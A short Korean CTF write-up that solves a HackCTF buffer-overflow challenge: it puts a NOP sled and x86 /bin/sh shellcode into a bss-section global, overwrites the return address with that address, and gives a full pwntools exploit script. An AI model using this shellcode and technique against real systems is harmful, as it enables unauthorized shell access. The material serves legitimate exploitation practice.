Pwnable/HackCTF

내 버퍼가 흘러넘친다!!!

Lucvs 2020. 8. 28. 17:50

 

입력을 두 번 받는 것 빼고는 간단한 BOF 문제이다. name이라는 변수가 어디에 저장되어 있는지를 찾고 여기에 NOP + shellcode 를 삽입, RET을 &name으로 바꾸어주면 쉘이 따질 것이다.

 

name 변수는 bss 영역에 존재한다. 전역변수 중에서 초기화된 변수는 data 영역에, 초기화되지 않은 변수는 bss영역에 들어간다고 한다.

&name  0x0804a060

 

payload를 작성하고 exploit 코드를 짜자.

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3003)

r.recvuntil(": ")
name = "\x90"*20
name += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
r.send(name)

r.recvuntil(": ")

payload = "\x90"*24
payload += "\x60\xa0\x04\x08"

r.sendline(payload)
r.interactive()